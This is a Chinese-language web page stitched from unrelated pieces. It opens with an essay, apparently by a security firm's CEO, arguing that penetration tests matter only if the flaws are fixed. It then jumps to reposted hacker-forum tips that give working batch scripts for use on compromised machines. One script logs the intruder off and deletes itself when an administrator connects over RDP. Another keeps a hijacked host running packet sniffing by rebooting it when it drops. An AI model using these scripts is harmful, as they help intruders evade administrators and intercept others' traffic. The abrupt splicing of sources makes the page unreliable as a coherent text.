我在這整篇中要說的重點,就是『但是我們沒辦法把自己「駭」得更安全』,一份很完整並具有風險排列的滲透測試報告,還沒有降低資安風險。Why?因為上面的漏洞只要沒有正確修補,這份報告就沒有實際提升您的資安水平。三年前19歲的Samy,上個月17歲的Mikeyy,都可以很快地寫出蠕蟲;可憐的資安專家由於每天工作就是這個,可能更快些,但是雖然不懂攻擊技術,一定不能做好防禦,但是從Plurk/Twitter/MySpace蠕蟲到911,我們看到的是,威脅已經清楚,攻擊已經老到無聊的地步,但是有效的防禦仍是那麼的困難!而我卻很驚訝的發現,一份最近刊登的『滲透測試』文章,隻字沒探討到防守面或修改面的觀念,程序,動作或經驗!成功找出弱點,只是提升資安水平的第一步,不是最後一步。好的資安團隊,必須研究修改漏洞時的各面象。譬如我們發現某json介面全部都有CSRF漏洞,但是該json介面已經發佈並廣被使用,修改CSRF需要更動介面規格,這會使所有依賴此介面之其他系統失效。這時該如何做?如果實在不能修改軟體,那麼其實WAF處理CSRF非常直覺,自動加上one-time token就好了,那麼我們是否改用免費(modsecurity)或商用WAF?我們以後在開發流程中,要建立哪些機制或程序,來避免類似漏洞之產生?在不影響現有系統之營運與效率下,正確並快速地協助漏洞的修改,並建立相關制度避免未來漏洞之產生,再再考驗著資安顧問團隊之能力與經驗。軟體是人類偉大的發明,改變了全人類的生活,帶來了科技的革命。但是為何軟體有這麼多的不安全性?為何找到漏洞了卻這麼難修?難道是這整個模式從一開始就不對嗎?目前的軟體模型出了錯?如果要建立secure-SDL來避免漏洞之產生,那麼在agile、scrum、extreme、adaptive…各種不同開發methodology之下做secure-SDL,有何不同?成熟度模型如何建立?
希望除了在『駭』方面的探討外,能多些在『修復』或進一步『避免軟體漏洞』之研究,讓軟體重生,不要永遠都當壞事的罪魁禍首。
作者 Wayne 為阿碼科技CEO
後記
最後我要抱怨一下。當然大家都不想弄這些XSS/CSRF/SQL-i,但是這是我們的工作沒辦法,這些漏洞是現在客戶最苦惱的。可是怎麼苦工都我在做勒?SS7交換機、iphone、android、rfid、LLVM/ASA,大家玩得不亦樂乎,讓我在旁邊流口水… 可是改天要你們來寫blog,換我週末來玩這些!
当渗透中实时检管理员的 bat
Apr 16th
当你在渗透中挂机嗅探的时候,如果管理员上来发现就不好了所以有了这个bat 的用处
检测管理员上线注销自已的 bat
copy 保存为 xx.bat
@echo off
:check
choice /C YN /T 10 /D Y
quser | find “#16″ && del xx.bat | logoff
goto check
说明一下
#16 每次运行这个 bat 的时候先quser 一下,看当前的会话id 是多少,然后加1 每连接一次就会加1
用户名 会话名 ID 状态 空闲时间 登录时间
administrator rdp-tcp#22 2 运行中 . 2009-4-16 19:24
你要把这个给改成 #23 就可以了 然后下一个连接进来的时候就会注销自已
哪位牛帮忙改一下,判断 如果 比 rdp-tcp#22 大的连接进来的话就注销自已
choice /C YN /T 10 /D Y
/T 10 是 10 秒一检测 这样是为了不太占CPU
by dh
为了渗透的方便,顺便帖上一个很淫的人写的一个 bat 方便大家
嗅探中当机的一点点启示
by chong
很多朋友在嗅探的时候肉猪一不小心就挂了.那个后悔啊…..
当然 你要选择尽量少的服务来嗅.比如你要嗅目标的1433及80.那你嗅其他的就没用罗.
这样会大大的减少当机的可能性.如果看到丢包率超过10%就要注意啦. 赶紧停掉,看看那里没设置好吧.
如果还是不小心挂了呢.
没事.这里为您准备了一个BAT 在开嗅的时候运行它就行了哦.
======start=========
:ping
choice /C YN /T 120 /D Y
ping g.cn
IF ERRORLEVEL 1 GOTO reboot
IF ERRORLEVEL 0 GOTO ping
:reboot
shutdown /r /t 0
======end=========
这里的g.cn你可以设置为网关的IP或你的IP
如果能ping通的话就继续ping 如果不通的话就认为当机了 (当然.你要事先测试下)
那.就重启罗. 或自己写一些语句 像结束cain等.自由发挥
from:http://www.pcsec.org/archives/bat-in-3389.html

















最新评论